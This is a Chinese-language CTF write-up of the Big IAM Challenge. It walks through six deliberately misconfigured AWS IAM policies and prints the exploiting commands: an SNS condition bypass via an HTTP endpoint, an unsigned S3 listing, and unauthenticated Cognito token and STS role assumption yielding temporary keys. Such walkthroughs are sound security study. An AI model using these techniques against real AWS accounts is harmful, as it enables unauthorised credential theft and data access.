很有意思的挑战,攻击各种IAM Policy错误配置。之前没打过aws,这次学到不少新姿势。GPT帮了大忙,在理解IAM Policy和AWS服务利用上大大提高了效率。
您也可以尝试:https://bigiamchallenge.com/challenge
Buckets of Fun
直接给出了一个Bucket的Policy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b", "Condition": { "StringLike": { "s3:prefix": "files/*" } } } ] }
|
从策略里可以看出来,这个存储桶公开了s3:ListBucket
和s3:GetObject
权限
直接访问拿到flag
Google Analytics
还是给出了一个IAM Policy
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": [ "sqs:SendMessage", "sqs:ReceiveMessage" ], "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2" } ] }
|
SQS
亚马逊简单队列服务 (Amazon SQS) 提供安全、耐用且可用的托管队列,使您可以集成和分离分布式软件系统和组件。Amazon SQS 提供常见结构,例如死信队列和成本分配标签。它提供了通用 Web 服务 API,您可以使用 Amazon SDK 支持的任何编程语言访问该API。
让GPT快速给出使用方法:
接收消息
拿到flag
Enable Push Notifications
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| { "Version": "2008-10-17", "Id": "Statement1", "Statement": [ { "Sid": "Statement1", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications", "Condition": { "StringLike": { "sns:Endpoint": "*@tbic.wiz.io" } } } ] }
|
SNS
Amazon Simple Notification Service(Amazon SNS)以两种方式发送通知:A2A 和 A2P。A2A 在分布式系统、微服务和事件驱动型无服务器应用程序之间进行高吞吐量、基于推送的多对多消息传递。这些应用程序包括 Amazon Simple Queue Service (SQS)、Amazon Kinesis Data Firehose、AWS Lambda 和其他 HTTPS 端点。A2P 功能允许您可以通过 SMS 文本、推送通知和电子邮件向客户发送消息。
Policy
“Condition”: 可选字段,定义了进一步的条件以限制授权生效的条件。”StringLike” 条件指定了 “sns:Endpoint” 的值必须符合 “ *@tbic.wiz.io” 的模式。这意味着只有以 “@tbic.wiz.io” 结尾的电子邮件地址才能订阅该主题
理论上是这样的,但AWS SNS还支持HTTP/HTTPS订阅,那就很灵活了
ByPass Policy
写一个符合StringLike匹配规则的地址即可
1
| aws sns subscribe --protocol http --notification-endpoint http://43.134.44.115:7777/auray@tbic.wiz.io --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications
|
确认订阅
1 2
| aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464dede3c082bf36407da1ade0d6721adfa5c4bab5dc579c04d6ee787d24bf37506bcb3b8b8d232a4d039bee171a36403f3177ac0e279f5e1ed5b806ac8081aa77683a43431091c73e8d8502c3c6b967777671a330aecd993a65d88fb4fffa23315d258e79e5b1d41f1237f32e29dffeda59
|
过了一会之后,会收到Message,其中包含flag
Admin only?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*" }, { "Effect": "Allow", "Principal": "*", "Action": "s3:ListBucket", "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321", "Condition": { "StringLike": { "s3:prefix": "files/*" }, "ForAllValues:StringLike": { "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin" } } } ] }
|
这个策略允许任何用户获取指定 S3 存储桶下所有对象的权限,并且只有使用 arn:aws:iam::133713371337:user/admin
身份的用户可以列出以 files/
开头的对象。
为了拿到flag,我们需要找到对应的Key,但只有admin才有ListBucket权限。
ByPass Policy
对于 ForAllValues,如果请求中没有键或者键值解析为空数据集(如空字符串),则也会返回 true,不要使用带有 Allow 效果的 ForAllValues,因为这样可能会过于宽容。
这里符合条件,那我们直接利用--no-sign-request
绕过
1
| aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request
|
Do I know you?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "mobileanalytics:PutEvents", "cognito-sync:*" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "s3:GetObject", "s3:ListBucket" ], "Resource": [ "arn:aws:s3:::wiz-privatefiles", "arn:aws:s3:::wiz-privatefiles/*" ] } ] }
|
Cognito
Amazon Cognito 是 Web 和移动应用程序的身份平台。它是用户目录、身份验证服务器以及 OAuth 2.0 访问令牌和 AWS 凭证的授权服务。使用 Amazon Cognito,您可以对内置用户目录、企业目录以及 Google 和 Facebook 等使用者身份提供者中的用户进行身份验证和授权。
让GPT帮忙查一下如何使用
但我们并没有AKSK。于是开始寻找,在网站图片这里可以看到AKSK泄漏
直接读好像不太行
后来看writeup,师傅们发现了这里的js
上面只获取了logo图,我们需要列出所有文件,直接交给GPT写一段获取S3文件的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| <!DOCTYPE html> <html> <head> <title>Cognito JavaScript SDK Example</title> <script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script> </head> <body> <script> // 初始化AWS SDK配置 AWS.config.region = 'us-east-1'; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b', }); // 获取临时凭证 AWS.config.credentials.get(function(err) { if (!err) { // 凭证获取成功 var accessKeyId = AWS.config.credentials.accessKeyId; var secretAccessKey = AWS.config.credentials.secretAccessKey; var sessionToken = AWS.config.credentials.sessionToken;
// 进行后续操作,如访问S3 accessS3(accessKeyId, secretAccessKey, sessionToken); } else { // 凭证获取失败 console.error('Error retrieving credentials: ' + err); } }); // 使用临时凭证访问S3 function accessS3(accessKeyId, secretAccessKey, sessionToken) { var s3 = new AWS.S3({ accessKeyId: accessKeyId, secretAccessKey: secretAccessKey, sessionToken: sessionToken, }); var params = { Bucket: 'wiz-privatefiles', }; s3.getSignedUrl('listObjectsV2', params, function(err, data) { if (!err) { // S3存储桶列表获取成功 console.log(data); } else { // S3存储桶列表获取失败 console.error('Error listing S3 buckets: ' + err); } }); } </script> </body> </html>
|
成功列出了所有文件,也知道flag在flag1.txt里面了。但不能直接读
只能让GPT再改一下了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| <!DOCTYPE html> <html> <head> <title>Cognito JavaScript SDK Example</title> <script src="https://sdk.amazonaws.com/js/aws-sdk-2.100.0.min.js"></script> </head> <body> <script> // 初始化AWS SDK配置 AWS.config.region = 'us-east-1'; AWS.config.credentials = new AWS.CognitoIdentityCredentials({ IdentityPoolId: 'us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b', }); // 获取临时凭证 AWS.config.credentials.get(function(err) { if (!err) { // 凭证获取成功 var accessKeyId = AWS.config.credentials.accessKeyId; var secretAccessKey = AWS.config.credentials.secretAccessKey; var sessionToken = AWS.config.credentials.sessionToken;
// 进行后续操作,如访问S3 accessS3(accessKeyId, secretAccessKey, sessionToken); } else { // 凭证获取失败 console.error('Error retrieving credentials: ' + err); } }); // 使用临时凭证访问S3 function accessS3(accessKeyId, secretAccessKey, sessionToken) { var s3 = new AWS.S3({ accessKeyId: accessKeyId, secretAccessKey: secretAccessKey, sessionToken: sessionToken, }); var params = { Bucket: 'wiz-privatefiles', Key: 'flag1.txt', }; s3.getSignedUrl('getObject', params, function(err, data) { if (!err) { // S3存储桶对象获取成功 console.log(data); } else { // S3存储桶对象获取失败 console.error('Error get S3 bucket object: ' + err); } }); } </script> </body> </html>
|
One final push
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Federated": "cognito-identity.amazonaws.com" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" } } } ] }
|
这一题是上一题的延伸,加了更多限制。
了解了一下sts:AssumeRoleWithWebIdentity
当一个用户要使用 AWS 资源时,他们可以提供一个 Web 身份验证提供者(如Google、Facebook等)颁发的身份验证令牌。通过使用 “sts:AssumeRoleWithWebIdentity” 操作,用户可以使用这个令牌来获取一个临时安全凭证,然后再使用这些凭证来访问 AWS 资源。
直接参考GPT利用:
获取web-identity-token
按照GPT的指示和题目的信息,我们开始获取web-identity-token
获取identity ID
1 2 3 4 5 6
| > aws cognito-identity get-id \ --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b { "IdentityId": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214" }
|
获取web-identity-token
1 2 3 4 5 6 7
| > aws cognito-identity get-open-id-token \ --identity-id us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214 { "IdentityId": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214", "Token": "eyJraWQiOiJ1cy1lYXN0LTE......_MjJPYZeO0oO3Dw" } >
|
为什么我们不需要像GPT提示的那样添加—-logins
参数呢?
因为这里存在未授权访问漏洞 :)
(不然我们也无法完成攻击)
GPT给出的利用方式好像不太行嘛
后面看师傅们的writeup,用的aws sts assume-role-with-web-identity
aws sts assume-role-with-web-identity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| > aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name auray --web-identity-toke n eyJraWQiOiJ1c......YZeO0oO3Dw { "Credentials": { "AccessKeyId": "ASIARK7LBOHXFM42OLPL", "SecretAccessKey": "X9HbOd6L/1GnaZ+M/Q7PXpNXSlqT/bc7xTdQenJe", "SessionToken": "FwoGZXIvY......w7CUxtg==", "Expiration": "2023-08-13T16:20:23Z" }, "SubjectFromWebIdentityToken": "us-east-1:f22b7a05-a0bf-417d-8ed8-e6de18694214", "AssumedRoleUser": { "AssumedRoleId": "AROARK7LBOHXASFTNOIZG:auray", "Arn": "arn:aws:sts::092297851374:assumed-role/Cognito_s3accessAuth_Role/auray" }, "Provider": "cognito-identity.amazonaws.com", "Audience": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b" }
|
成功获取到临时凭据,接下来直接利用
1 2 3
| > export AWS_ACCESS_KEY_ID=ASIARK7LBOHXFM42OLPL > export AWS_SECRET_ACCESS_KEY=X9HbOd6L/1GnaZ+M/Q7PXpNXSlqT/bc7xTdQenJe > export AWS_SESSION_TOKEN=FwoG......Uxtg==
|
Reference Links